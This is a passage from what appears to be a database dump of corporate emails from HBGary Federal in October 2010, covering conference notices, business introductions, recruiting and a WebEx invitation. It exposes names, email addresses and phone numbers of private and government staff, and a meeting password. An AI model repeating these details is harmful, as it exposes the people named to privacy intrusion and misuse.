23, 2010, at 9:44 AM, Chris Gerling Jr wrote:Hi Aaron,Thanks again for coming on with us last night, we had a great time.\r\n\r\nI was curious if you wanted to talk some more about the job landscape and what you might have available.  I&#39;m not really able to move for a bit since I decided to become a homeowner a second time last year, but would definitely be interested in any opportunities involving a smaller more tight knit group.  \r\n\r\n\r\n\r\nThanks,Chris GerlingSecurity Professional and Co-founder of the SecuraBit podcast.  http://www.securabit.com\r\n\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal, LLC719.510.8478\r\n\r\n\r\n',4833,'aaron_hbgary_com/4833.html'),(12582,'2010-10-04','\"Lovegrove, John (TASC)\" <John.Lovegrove@tasc.com>','/aaron@hbgary.com/new/1297009302.M849490P14101Q7437.eml','\"Aaron Barr\" <aaron@hbgary.com>','Get together with Cyberpoint','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nI&#8217;d like to introduce you and Karl Gumtow.&nbsp; Karl has\r\nstarted a company called Cyberpoint, he is up to about 30 people with a mix of\r\ngovt and private sector cyber services.&nbsp; He and I knew each other from RABA and\r\nBooz Allen.&nbsp;&nbsp; He has expressed an interest in getting to know HB Gary.&nbsp; Let me\r\nknow if you are interested and I will set it up.\r\n\r\n&nbsp;\r\n\r\nJohn Lovegrove\r\n\r\nDirector\r\n\r\nOffice: (703) 449-3812\r\n\r\nCell: (571) 294-5154\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nTASC INTERNAL\r\nDISTRIBUTION ONLY\r\nThis e-mail, including\r\nattachments, is intended for the exclusive use of the person or entity to whom\r\nit is addressed and may contain confidential or privileged information. If the\r\nreader of this e-mail is not the intended recipient or his or her authorized\r\nagent, the reader is hereby notified that any dissemination, distribution or\r\ncopying of this e-mail is prohibited. If you think that you have received this\r\ne-mail in error, please advise the sender by reply e-mail of the error and then\r\ndelete this e-mail immediately.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',7371,'aaron_hbgary_com/7371.html'),(12583,'2010-10-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009303.M312546P14101Q7439.eml','\"Ted Vera\" <ted@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>,\"Karen Burke\" <karenmaryburke@yahoo.com>,\"Bob Slapnik\" <bob@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,\"Phil Wallisch\" <phil@hbgary.com>','Check out the podcast','I think it is pretty decent.  Let me know what you think?\r\n\r\nSecurabit Episode 66.\r\nwww.securabit.com\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal, LLC\r\n719.510.8478\r\n\r\n\r\n\r\n',8424,'aaron_hbgary_com/8424.html'),(12584,'2010-10-04','\"Mary Sullivan via LinkedIn\" <member@linkedin.com>','/aaron@hbgary.com/new/1297009303.M612057P14101Q7440.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Don\'t miss my #socialmedia security presentation at the Cybernexus group meeting tomorrow @4pm.  http://bit.ly/cqOzTW','\r\n\r\n  \r\n\r\n  \r\n\r\n\r\n  \r\n  LinkedIn\r\n\r\nMESSAGES\r\n\r\nMary Sullivan wrote:\r\nHi Aaron,\r\nSadly, I am going to miss it....they have called an all-hands afternoon/evening event at Fidelis to celebrate our record quarter. That\'s good, of course, but I hate to miss the talk. Wrong place, wrong time for me, sadly!\r\nMary\r\n&gt;&gt; Aaron Don\'t miss my #socialmedia security presentation at the Cybernexus group meeting tomorrow @4pm.  http://bit.ly/cqOzTW\r\n\r\ncybernexus | Facebook\r\nfacebook.com\r\n        | Found via Aaron Barr\r\n\r\nFacebook is a social utility that connects people with friends and others who work, study and live around them. People use Facebook to keep up with friends, upload an unlimited number of photos, post links and videos, and learn ...\r\n\r\n\r\n  View Article\r\n    | Reply to Mary Sullivan\r\n    | Reply To All\r\n\r\n\r\n\r\nDon\'t want to receive e-mail notifications? Adjust your message settings.\r\n\r\n\r\n\r\n\r\n\r\n\r\n  &#169; 2010, LinkedIn Corporation\r\n  \r\n\r\n',8321,'aaron_hbgary_com/8321.html'),(12585,'2010-10-04','\"RSA Conference 2011\" <speakers@rsaconference.com>','/aaron@hbgary.com/new/1297009303.M66163P14101Q7438.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <adbarr@mac.com>','RSA Conference 2011 - Program Committee Results','                \r\n\r\n\r\n	\r\n	\r\n  \r\n		\r\n		/***** font classes *****/\r\n		.pageheader { \r\n		  color:#00009C;\r\n			font-size:18px;\r\n			margin-bottom:15px;\r\n			margin-top:5px;\r\n		}\r\n		.fontTitleSupport {\r\n		  margin-bottom: 20px;\r\n		  margin-left: 20px;\r\n		  font-size: 12px;\r\n		  font-weight: bold;\r\n		  color: #000000;\r\n		}\r\n		.fontPageFooter {\r\n			font-size:10px;\r\n			font-weight:bold;\r\n		}\r\n		/* New class .title, replaces .fontTitle and .fontHeader */\r\n		.title,.fontTitle,.fontHeader{\r\n			font-size:20px;\r\n		  font-weight:bold;\r\n		  margin-bottom:20px;\r\n		}\r\n		/* New class .subtitle, replaces .fontSubtitle and .fontPageHeader */\r\n		.subtitle,.fontSubtitle,.fontPageHeader  {\r\n			font-size:13px;\r\n		  font-weight:bold;\r\n		  margin-bottom:3px;\r\n		}\r\n		.formTable td.subtitle{\r\n		  padding:15px 0 3px;\r\n		}\r\n		.fontBold, .bold {\r\n			font-weight:bold;\r\n		}\r\n		.fontSmall, small,\r\n		.small, .note, div.formNote{ /* New class .small, replaces .fontSmall */\r\n		  font-weight: normal;\r\n			font-size:10px;\r\n		}\r\n		.note, div.formNote{\r\n		  color:#999;\r\n		}\r\n		div.formNote{\r\n		  width:250px;\r\n		}\r\n\r\n		.fontContentBoxHeader,\r\n		.contentBox .title { /* New class .contentBox .title, replaces .fontContentBoxHeader */\r\n			margin-top:10px;\r\n			font-size:14px;\r\n			font-weight:bold;\r\n			color:#333399;\r\n		}\r\n\r\n\r\n		.fontWelcome {\r\n			text-align:left;\r\n			margin-left:10px;\r\n		}\r\n		.fontUserName {\r\n			font-weight:bold;\r\n			text-align:left;\r\n			margin-left:10px;\r\n			margin-bottom:20px;\r\n		}\r\n		.fontLinkLogout {\r\n			margin-left:10px;\r\n		}\r\n		.fontCopyright{\r\n		  font-family: Verdana, Geneva, Arial, Helvetica, sans-serif;\r\n			font-size:9px;\r\n			text-align:center;\r\n		  margin:0;\r\n			padding:0;\r\n			color:#888;\r\n		}\r\n\r\n		/*-- New Classes --*/\r\n		.subtle,.normal {\r\n			font-size:12px;\r\n		  font-weight:normal;\r\n		}\r\n		.subtle {\r\n			color:#666666;\r\n		}\r\n		.fontTiny {\r\n			font-size:10px;\r\n		}\r\n		.normal {\r\n			font-weight:normal;\r\n		}\r\n\r\n		/***** form classes *****/\r\n		.formPromptTd,.formPromptTdWidth,.formElementTd,.formBoxElementTd,.formReqTd {\r\n			vertical-align:top;\r\n		}\r\n		.formPromptTd,.formPromptTdWidth {\r\n			width:170px;\r\n			padding-top:5px;\r\n			text-align:right;\r\n			font-weight:bold;\r\n		}\r\n		.formSelect{\r\n		}\r\n		.formPromptTdWidth {\r\n			width:65px;\r\n		}\r\n		.formPromptWidth {\r\n			width:130px;\r\n			height:0px;\r\n			font-size:0px;\r\n		}\r\n		/* class for text box, select, etc. elements (default) */\r\n		.formBoxElementTd {\r\n			padding-top:3px;\r\n		}\r\n		/* added class for text only elements */\r\n		.formElementTd {\r\n			padding-top:5px;\r\n		}\r\n		.formReqTd {\r\n			width:5px;\r\n			padding-top:7px;\r\n			color:#CC3333;\r\n		}\r\n		.formButton {\r\n			font-weight:bold;\r\n			color:#000000;\r\n		}\r\n		/*-- New Classes --*/\r\n		.formTable td {\r\n			vertical-align:top;\r\n		}\r\n		.formTable .prompt {\r\n			text-align:right;\r\n		  padding:4px;\r\n		  padding-left:0px;\r\n		  width:40%;\r\n		}\r\n		.formTable .formText {\r\n			padding:4px 0px;\r\n		}\r\n		.formTable .element {\r\n			padding:2px 0px 4px;\r\n		}\r\n		.req {\r\n			font-family:verdana;\r\n		  padding:5px 3px 0px;\r\n		  padding-left:0px;\r\n		  color:#cc0000;\r\n		  font-size:12px;\r\n		  width:5px;\r\n		}\r\n\r\n		/***** link classes *****/\r\n		a {\r\n			color: #33a;\r\n			text-decoration:none;\r\n		}\r\n		a:hover {\r\n			text-decoration:underline;\r\n		}\r\n		.linkNav {\r\n		  display:block;\r\n		  padding: 3px 3px 4px 13px;\r\n		  font-weight:bold;\r\n		  color:#67a;\r\n		}\r\n		.linkNav:hover {\r\n		  color:#239;\r\n		}\r\n		.formatTabText-off a, .formatTabText-off a:hover, \r\n		.formatTabText-on {\r\n		  font-weight:bold;\r\n		}\r\n		.formatTabText-on{}\r\n\r\n		/***** format classes *****/\r\n		.standardsPopup{\r\n    	border: 1px solid #3168B4;\r\n      background: #fff;\r\n    	text-align: left;\r\n    }\r\n    \r\n    .standardsPopup a{\r\n      display: block;\r\n      padding: 4px 8px;\r\n    }\r\n    \r\n    .standardsPopup a:hover{\r\n      border: 1px solid #FFCC88;\r\n      padding: 3px 7px;\r\n      background: #FFEECC;\r\n      text-decoration: none;\r\n    }\r\n    \r\n    .standardsPopup br{\r\n      display: none;\r\n    }\r\n		.formatPopupBody{\r\n			margin:0px;\r\n		}\r\n		.formatContentTd {\r\n			border-left:6px solid #FFFFFF;\r\n		}\r\n		.formatContent {\r\n			margin-top:8px;\r\n			margin-bottom:8px;\r\n		}\r\n		.formatNavSeparator {\r\n			font-size:0px;\r\n			margin:0 8px;\r\n			border-bottom:1px solid #bbb;\r\n		}\r\n		.formatLinkNavDiv {}\r\n		.formatLinkNav,.formatLinkNav-over {\r\n			margin-top:8px;\r\n			margin-bottom:8px;\r\n			vertical-align:middle;\r\n			padding-top: 0px;\r\n			padding-left:10px;\r\n			background-image: none;\r\n			height: 15px;\r\n		}\r\n		.formatLinkNav-over {\r\n			cursor:pointer;\r\n		}\r\n		/* New class .contentBox replaces .formatInfoBox and .formatContentBox */\r\n		.formatInfoBox,.formatContentBox, \r\n		.contentBox{\r\n			border: 1px solid #B3B3B3;\r\n			background-color: #FAFAFA;\r\n			padding:10px;\r\n		}\r\n		.formatListLinks {\r\n			text-align:left;\r\n			margin-bottom:4px;\r\n			padding-top:6px;\r\n			margin-top:6px;\r\n		}\r\n		.formatListInfo {\r\n			background-color:#FAFAFA;\r\n			border:1px solid #999999;\r\n			color: #333399;\r\n		}\r\n		.formatListInfo {\r\n			padding:5px;\r\n			padding-left:10px;\r\n			font-weight:bold;\r\n			margin-top:20px;\r\n		}\r\n		.formatTableWidth,.formatTableMain,\r\n		.formatHeaderTable{\r\n		  width:100%;\r\n		}\r\n		div.formatFormButton, div.contentBox{\r\n		  width:auto;\r\n		}\r\n		.formatParagraph{\r\n		}\r\n\r\n		table.listTable, table.dataTable, table.headerBox{\r\n		  width:100%;\r\n		}\r\n		table.min{\r\n		  width:auto;\r\n		}\r\n		td.min{\r\n		  width:1%;\r\n		  white-space:nowrap;\r\n		}\r\n		.formatColumnHeaderTd, /* tr.header td replaces .formatColumnHeaderTd */\r\n		tr.header td, th{\r\n		  padding:5px;\r\n		  border-bottom:1px solid #aaaaaa; \r\n		  font-weight:bold; \r\n		  background:#e0e0e0 url(../images/columnheader.gif) repeat-x; \r\n		}\r\n\r\n		.listTable {\r\n		  border:1px solid #d0d0d0; \r\n		}\r\n		.listTable td { \r\n		  vertical-align:top; \r\n		  padding:3px 5px; \r\n		}\r\n\r\n		.dataTable {  \r\n		  background-color:#d0d0d0;\r\n		}\r\n		.dataTable td { \r\n		  vertical-align:top; \r\n		  padding: 3px;\r\n		}\r\n		.dataTable tr { \r\n		  background-color:#ffffff;\r\n		}\r\n\r\n		table.middle tr td{\r\n		  vertical-align: middle;\r\n		}\r\n		table.indent{\r\n		  margin:5px 0 5px 12px;\r\n		}\r\n\r\n		/* .formatContentBoxHeader and .formatListHeader are \r\n		   replaced by .headerBox .open-bottom */\r\n		.headerBox{\r\n		  padding:4px; \r\n		  border:1px solid #e0e0e0; \r\n		  background-color:#fafafa; \r\n			font-size:11px;\r\n			font-weight: bold;\r\n			color:#0B333C;\r\n		}\r\n		.spacer {\r\n			height:25px;\r\n			font-size:0px;\r\n		}\r\n		.spacerSmall {\r\n			height:10px;\r\n			font-size:0px;\r\n		}\r\n\r\n		/** \r\n		New class tr.odd, replaces .formatListOdd\r\n		*/\r\n		.formatListOdd,\r\n		tr.odd, .dataTable tr.odd td{\r\n			background-color:#F7F7F7;\r\n		}\r\n		/** \r\n		New class tr.even, replaces .formatListEven\r\n		*/\r\n		.formatListEven,\r\n		tr.even, .dataTable tr.even td{\r\n			background-color:#FFFFFF;\r\n		}\r\n\r\n		.dark, tr td.dark, tr.dark td{\r\n		  background-color:#eaeaea;\r\n		}\r\n		tr.even td.dark{\r\n		  background-color:#f6f6f6;\r\n		}\r\n		tr.odd td.dark{\r\n		  background-color:#ededed;\r\n		}\r\n		tr.border-top td, div.border-top{\r\n		  border-top:1px solid #d5d5d5;\r\n		}\r\n\r\n		.nowrap {\r\n			white-space:nowrap;\r\n		}\r\n		/** \r\n		New class div.even, replaces .formatIndent\r\n		*/\r\n		.formatIndent, div.indent{\r\n			margin:10px 0 10px 12px;\r\n		}\r\n		.formatTable100 {\r\n			width:100%;\r\n		}\r\n		.formatFormButton{\r\n			margin-top:10px;\r\n			margin-bottom:10px;\r\n		}\r\n		/*-- New Classes --*/\r\n		.white { background-color:#ffffff !important; }\r\n		.gray { background-color:#f7f7f7 !important; }\r\n		.light-gray { background-color:#fafafa !important; }\r\n		.medium-gray { background-color:#eeeeee !important; }\r\n		.dark-gray { background-color:#dddddd !important; }\r\n\r\n		.open-top { border-top:0px none !important; }\r\n		.open-bottom { border-bottom:0px none !important; }\r\n\r\n		.right, tr.header td.right { text-align:right; }\r\n		.center { text-align:center; }\r\n\r\n	\r\n\r\n\r\n  \r\n     \r\n    \r\n      \r\n      \r\nDear Aaron: \r\n&nbsp;\r\nThank you for submitting a presentation proposal for RSA Conference 2011, February 14-18, 2011 at The Moscone Center in San Francisco, California. The Program Committee has completed the review and selection process and unfortunately, your submission was not selected.&nbsp;\r\n&nbsp;\r\nThe Call for Speakers for RSA Conference 2011 generated a very large response and the majority of proposals were rejected by the Program Committee due to the number of track sessions they had to fill.\r\n&nbsp;&nbsp; \r\n\r\nSession Track: Hackers & Threats \r\nSession Code: 2621&nbsp; \r\n\r\nSession Title: Cybersecurity Is an Intelligence Problem not an IT Problem\r\n\r\n_____________________________________________________\r\n&nbsp; \r\n\r\nSession Track: Strategy & Architecture II: People & Process \r\nSession Code: 3120&nbsp; \r\n\r\nSession Title: Social Media:  Leveraging Value While Mitigating Risk\r\n\r\n_____________________________________________________\r\n\r\n&nbsp;\r\nWe appreciate your interest in RSA Conference 2011. We recommend that you register now to take advantage of the early registration fees. &nbsp;The early bird registration deadline provides for significant savings (50%) over the standard Conference Delegate registration fee. &nbsp;Again, thank you for taking the time to share your ideas. We look forward to an exciting RSA Conference 2011 and are confident you will find high value in the education experience and networking opportunities available in San Francisco.&nbsp;\r\n&nbsp;\r\nIf you are interested in facilitating a discussion with a small group of your peers, our Peer2Peer Call for Facilitators will close on 10/20/2010.&nbsp; If you have experience moderating small groups, we would welcome your submission.\r\n&nbsp;\r\nWith best regards,&nbsp;\r\n&nbsp;\r\nThe Education Management Team, Nth Degree\r\non behalf of\r\nRSA Conference 2011\r\nspeakers@rsaconference.com &nbsp;\r\n      \r\n    \r\n\r\n    © 2010 WingateWeb\r\n  \r\n\r\n\r\n  \r\n',8915,'aaron_hbgary_com/8915.html'),(12586,'2010-10-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009303.M870037P14101Q7441.eml','\"Jones, William A. IV\" <William.Jones3@ic.fbi.gov>,\"Geary, Christopher A.\" <Christopher.Geary@ic.fbi.gov>,\"Zachary Delecki\" <Zachary.Delecki@ic.fbi.gov>','Re: HB Gary Presentation','Hey Guys,Wanted to let you know about a presentation I will be giving at Palantir\'s GovCon6 on Threat Intelligence using our TMC and Palantir on Oct. 12th. &nbsp;If your interested please register @&nbsp;http://govcon.eventbrite.com/\r\nAaron BarrCEOHBGary Federal, LLC719.510.8478\r\n\r\n',2165,'aaron_hbgary_com/2165.html'),(12587,'2010-10-04','\"AFCEA International\" <noreply@emails.afcea.org>','/aaron@hbgary.com/new/1297009304.M121720P14101Q7442.eml','aaron@hbgary.com','Register now for AFCEA/USNI West 2011, January 25-27','\r\nAFCEA International\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n	\r\n		\r\n		\r\n           \r\n          \r\n	\r\n		\r\n		\r\n           West 2011: &quot;After the Long War: What\'s Next?&quot;\r\n            January 25-27, 2011 \r\n            San Diego Convention Center\r\n          www.westconfexpo.org\r\n              \r\n              Co-sponsored by AFCEA International and the U.S. Naval Institute, West 2011 is the largest professional development event on the West Coast for communications, electronics, intelligence, information systems, imaging, military weapon systems, aviation, shipbuilding, and more. \r\n            \r\n          \r\n    \r\nRegistration is FREE! CLICK HERE to register.\r\n          \r\n                    Panel Sessions                      \r\n            \r\n                    \r\n                      What Do We Do When Irregular/Hybrid Warfare Becomes Regular Warfare?\r\n                      Unmanned Systems: A Roadmap to Where? \r\n                      Where and How Will China Be a Factor? \r\n                      Air-Sea Battle: The Next Big Thing - A Flash in the Pan? \r\n                      Cyberwarfare: How Do We Make Information a Weapon?\r\n                      Where Should We Invest the Dollars We Have? Your Chance to Ask the Experts\r\n                    \r\n                    \r\n                    \r\n                      \r\n                    \r\nStrategic Dialogue: Where and How Will China Be a Factor?  \r\n          \r\n            Moderator:\r\n                    Mr. David Hartman (confirmed)  \r\n            Author and former Host \r\n            Good Morning America  \r\n            &nbsp; \r\n            Participant:\r\n                    ADM Timothy J. Keating, USN (Ret.) (confirmed)  \r\n            former Commander \r\n            U.S. Pacific Command  \r\n                    &nbsp;\r\n          \r\n                      \r\n          Special Features \r\n          \r\n            Midway Magic Reception Aboard the USS Midway, celebrating 100 years of Naval Aviation\r\n            Exposition with more than 400 information technology and defense exhibitors\r\n            Department of the Navy CIO (DON CIO) IM/IT Sessions\r\n            MOAA Career and Financial Seminars\r\n            Professional Development Courses \r\n            Satellite Industry Association\'s Navy SATCOM Users\' Workshop\r\n            \r\n          &nbsp;\r\n          \r\nAttention Industry: Reach your Navy and Marine Corps customers by becoming an exhibitor, sponsor or table buyer!  Click here for more information.\r\n\r\n\r\nFor more information on West 2011 and to register FREE click here. \r\n\r\n\r\nQuestions? Contact us at (703) 631-6130 or events@afcea.org. \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n          \r\nThis email is provided as a professional courtesy. If you\'d prefer not to receive future notices, please Click Here\r\n\r\nAFCEA International: 4400 Fair Lakes Court Fairfax, Virginia 22033 \r\nhttp://www.afcea.org	\r\n\r\n\r\n		\r\n	\r\n\r\n\r\n\r\n\r\n	  \r\n	\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6682,'aaron_hbgary_com/6682.html'),(12588,'2010-10-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009304.M327112P14101Q7443.eml','\"Sean.Sobieraj@us-cert.gov> <Sean.Sobieraj@us-cert.gov\" <Sean.Sobieraj@us-cert.gov>,byron.copeland@dhs.gov,\"Sean.Sobieraj@us-cert.gov> <Sean.Sobieraj@us-cert.gov\" <Sean.Sobieraj@us-cert.gov>','Threat Intelligence Presentation','Hey Guys,Wanted to let you know about a presentation I will be giving at Palantir\'s GovCon6 on Threat Intelligence using our TMC and Palantir. &nbsp;If your interested please register @&nbsp;http://govcon.eventbrite.com/Aaron BarrCEOHBGary Federal, LLC719.510.8478\r\n\r\n',9439,'aaron_hbgary_com/9439.html'),(12589,'2010-10-04','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297009304.M766676P14101Q7444.eml','sales@hbgary.com,\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','FW: NMCIWG: Daily Computer Threat News (Fri)','\r\n\r\n-----Original Message-----\r\nFrom: Ousley, Jerry, CIV, DSS [mailto:Jerry.Ousley@dss.mil] \r\nSent: Monday, October 04, 2010 1:31 PM\r\nSubject: FW: NMCIWG: Daily Computer Threat News (Fri)\r\n\r\n \r\n\r\nSubject: NMCIWG: Daily Computer Threat News (Fri)\r\n\r\n \r\n\r\nSorry for the delay in sending out Friday\'s articles.   Here they are.\r\n\r\n \r\n\r\nSA Jeanette Greene\r\n\r\nCI Strategic Partnership Coordinator\r\n\r\nFBI Albuquerque Division\r\n\r\n \r\n\r\nToday\'s Articles: \r\n-- More than 60 charged in cyber scheme\r\n-- Deloitte/NASCIO Survey: Government data and citizens\' personal\r\ninformation at risk\r\n-- Security experts vote to outlaw PDF standard\r\n-- PayPal plugs mobile site phishing risk\r\n-- Facebook security team zeroes in on Koobface hackers\r\n-- Phishers target WoW players through in-game mail system\r\n-- IE users most at risk from DLL hijacking attacks\r\n-- In wake of attacks, enterprises look to plug browser security hole\r\n-- Did the Stuxnet Worm kill India\'s INSAT-4B satellite? \r\n\r\n\r\n',9762,'aaron_hbgary_com/9762.html'),(12590,'2010-10-04','brian_christos@yahoo.com','/aaron@hbgary.com/new/1297009304.M983998P14101Q7445.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,rich@hbgary.com','Re: Malware RE','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\nSure.  how about I send Darrell\'s resume when I get home.  Sent from my Verizon Wireless BlackBerryFrom:  \"Penny Leavy-Hoglund\" &lt;penny@hbgary.com&gt;\r\nDate: Mon, 4 Oct 2010 10:54:00 -0700To: &lt;brian_christos@yahoo.com&gt;; \'Aaron Barr\'&lt;aaron@hbgary.com&gt;; &lt;rich@hbgary.com&gt;Subject: Malware RE\r\n\r\n\r\n\r\nWe would like that name for the malware RE in your area.\r\n\r\n&nbsp;\r\n\r\nPenny C. Leavy\r\n\r\nPresident\r\n\r\nHBGary, Inc\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nNOTICE &#8211; Any tax information or written tax advice\r\ncontained herein (including attachments) is not intended to be and cannot be\r\nused by any taxpayer for the purpose of avoiding tax penalties that may be\r\nimposed on&nbsp;the taxpayer.&nbsp; (The foregoing legend has been affixed\r\npursuant to U.S. Treasury regulations governing tax practice.)\r\n\r\n&nbsp;\r\n\r\nThis message and\r\nany attached files may contain information that is confidential and/or subject\r\nof legal privilege intended only for use by the intended recipient. If you are\r\nnot the intended recipient or the person responsible for&nbsp;&nbsp; delivering\r\nthe message to the intended recipient, be advised that you have received this\r\nmessage in error and that any dissemination, copying or use of this message or\r\nattachment is strictly\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',8596,'aaron_hbgary_com/8596.html'),(12591,'2010-10-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009305.M199084P14101Q7446.eml','brian_christos@yahoo.com,brian_christos@yahoo.com,','Re: Malware RE','Thanks Brian.Hey if you are interested check out the&nbsp;presentation I will be giving at Palantir\'s GovCon6 on Threat Intelligence using our TMC and Palantir. &nbsp;If your interested please register @&nbsp;http://govcon.eventbrite.com/Also doing a social media security presentation tomorrow afternoon in Columbia at the cybernexus meeting. &nbsp;See the facebook page for cybernexus for details.AaronOn Oct 4, 2010, at 5:10 PM, brian_christos@yahoo.com wrote:Sure. how about I send Darrell\'s resume when I get home.Sent from my Verizon Wireless BlackBerryFrom:&nbsp;\"Penny Leavy-Hoglund\" &lt;penny@hbgary.com&gt;Date:&nbsp;Mon, 4 Oct 2010 10:54:00 -0700To:&nbsp;&lt;brian_christos@yahoo.com&gt;; \'Aaron Barr\'&lt;aaron@hbgary.com&gt;; &lt;rich@hbgary.com&gt;Subject:&nbsp;Malware REWe would like that name for the malware RE in your area.&nbsp;Penny C. LeavyPresidentHBGary, Inc&nbsp;&nbsp;NOTICE –&nbsp;Any tax information or written tax advice contained herein (including attachments) is not intended to be and cannot be used by any taxpayer for the purpose of avoiding tax penalties that may be imposed on&nbsp;the taxpayer.&nbsp; (The foregoing legend has been affixed pursuant to U.S. Treasury regulations governing tax practice.)&nbsp;This message and any attached files may contain information that is confidential and/or subject of legal privilege intended only for use by the intended recipient. If you are not the intended recipient or the person responsible for&nbsp;&nbsp; delivering the message to the intended recipient, be advised that you have received this message in error and that any dissemination, copying or use of this message or attachment is strictly&nbsp;\r\nAaron BarrCEOHBGary Federal, LLC719.510.8478\r\n\r\n',851,'aaron_hbgary_com/851.html'),(12592,'2010-10-04','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297009305.M406625P14101Q7447.eml','\"Barr Aaron\" <aaron@hbgary.com>','Bob Frisbee / Al','Can you send out a summary of your discussions with Bob Frisbee and Al\r\nP to Greg & Penny?\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',1752,'aaron_hbgary_com/1752.html'),(12593,'2010-10-04','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297009305.M612795P14101Q7448.eml','\"Barr Aaron\" <aaron@hbgary.com>','TMC','Mark is still shooting trouble.  We\'ll call in a bit.\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',12321,'aaron_hbgary_com/12321.html'),(12594,'2010-10-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009305.M856589P14101Q7449.eml','\"Masterson, Brian M (XETRON)\" <Brian.Masterson@ngc.com>','Re: EXTERNAL:Bizdev question','http://www.facebook.com/group.php?gid=104824267524&amp;ref=tsfor information on the social media presentation tomorrow.AaronOn Oct 4, 2010, at 2:06 PM, Masterson, Brian M (XETRON) wrote:FYI&nbsp;Brian Masterson&nbsp;Northrop Grumman/Xetron&nbsp;Chief Technology Officer, Cyber SolutionsPh: 513-881-3591&nbsp;Cell: 513-706-4848&nbsp;Fax: 513-881-3877&nbsp;From:&nbsp;Ross, Doug [mailto:doug.ross@westernsouthernlife.com]&nbsp;Sent:&nbsp;Friday, August 13, 2010 4:21 PMTo:&nbsp;Masterson, Brian M (XETRON); Thompson, Bill (XETRON)Subject:&nbsp;EXTERNAL:Bizdev question&nbsp;Question:&nbsp;We are strongly considering a network strategy and architecture consulting engagement.&nbsp; This would entail taking a look at our existing network architecture, comparing it to where we want to be, and then offering us a roadmap so that we can get there in digestible chunks.&nbsp;The kinds of things that we would include in the study (some of which are in place, but are fair game for re-design):&nbsp;&nbsp;* 802.1X&nbsp;* Network segmentation and security zones&nbsp;* NAC&nbsp;* DMZ re-design&nbsp;* Firewalls (internal, external, partners)&nbsp;* PCI/DSS&nbsp;* VoIP security&nbsp;* VMware and virtual switching&nbsp;* Conventional network protection (IPS, IDS, proxies, acceptable use filtering, etc.)&nbsp;* Integration with directory services/identity management&nbsp;* Integration with SEIM&nbsp;Is this the kind of thing that NGC (either NGX, ES or outside ES) would have interest and expertise in?&nbsp; If not, would you have a recommendation as to an external partner?&nbsp;Thanks much, Doug&nbsp;&nbsp;\r\nAaron BarrCEOHBGary Federal, LLC719.510.8478\r\n\r\n',11142,'aaron_hbgary_com/11142.html'),(12595,'2010-10-04','\"Aaron Barr\" <messenger@webex.com>','/aaron@hbgary.com/new/1297009306.M271668P14101Q7451.eml','aaron@hbgary.com','(Forward to attendees) Meeting invitation: HBGary Fed Discussions',' **** You can forward this email invitation to attendees ****   Hello ,   Aaron Barr invites you to attend this online meeting.   Topic: HBGary Fed Discussions  Date: Monday, October 4, 2010  Time: 6:00 pm, Eastern Daylight Time (New York, GMT-04:00)  Meeting Number: 579 322 242  Meeting Password: ddna    -------------------------------------------------------  To join the online meeting (Now from the Apple iPhone (R) too!)  -------------------------------------------------------  1. Go to https://hbgary.webex.com/hbgary/j.php?ED=156732357&UID=0&PW=NNTM4M2I5NmFk&RT=MiMxMQ%3D%3D  2. If requested, enter your name and email address.  3. If a password is required, enter the meeting password: ddna  4. Click \"Join\".   To view in other time zones or languages, please click the link:  https://hbgary.webex.com/hbgary/j.php?ED=156732357&UID=0&PW=NNTM4M2I5NmFk&ORT=MiMxMQ%3D%3D   -------------------------------------------------------  To join the audio conference only  -------------------------------------------------------  Call-in toll number (US/Canada): 1-408-792-6300  Global call-in numbers: https://hbgary.webex.com/hbgary/globalcallin.php?serviceType=MC&ED=156732357&tollFree=0   Access code:579 322 242   -------------------------------------------------------  For assistance  -------------------------------------------------------  1. Go to https://hbgary.webex.com/hbgary/mc  2. On the left navigation bar, click \"Support\".   You can contact me at:   aaron@hbgary.com    To add this meeting to your calendar program (for example Microsoft Outlook), click this link:  https://hbgary.webex.com/hbgary/j.php?ED=156732357&UID=0&ICS=MI&LD=1&RD=2&ST=1&SHA2=a52-QDDKnTFjOPzMqSgzFM-OcODk1UsZzfAeapM5Ip0=&RT=MiMxMQ%3D%3D   The playback of UCF (Universal 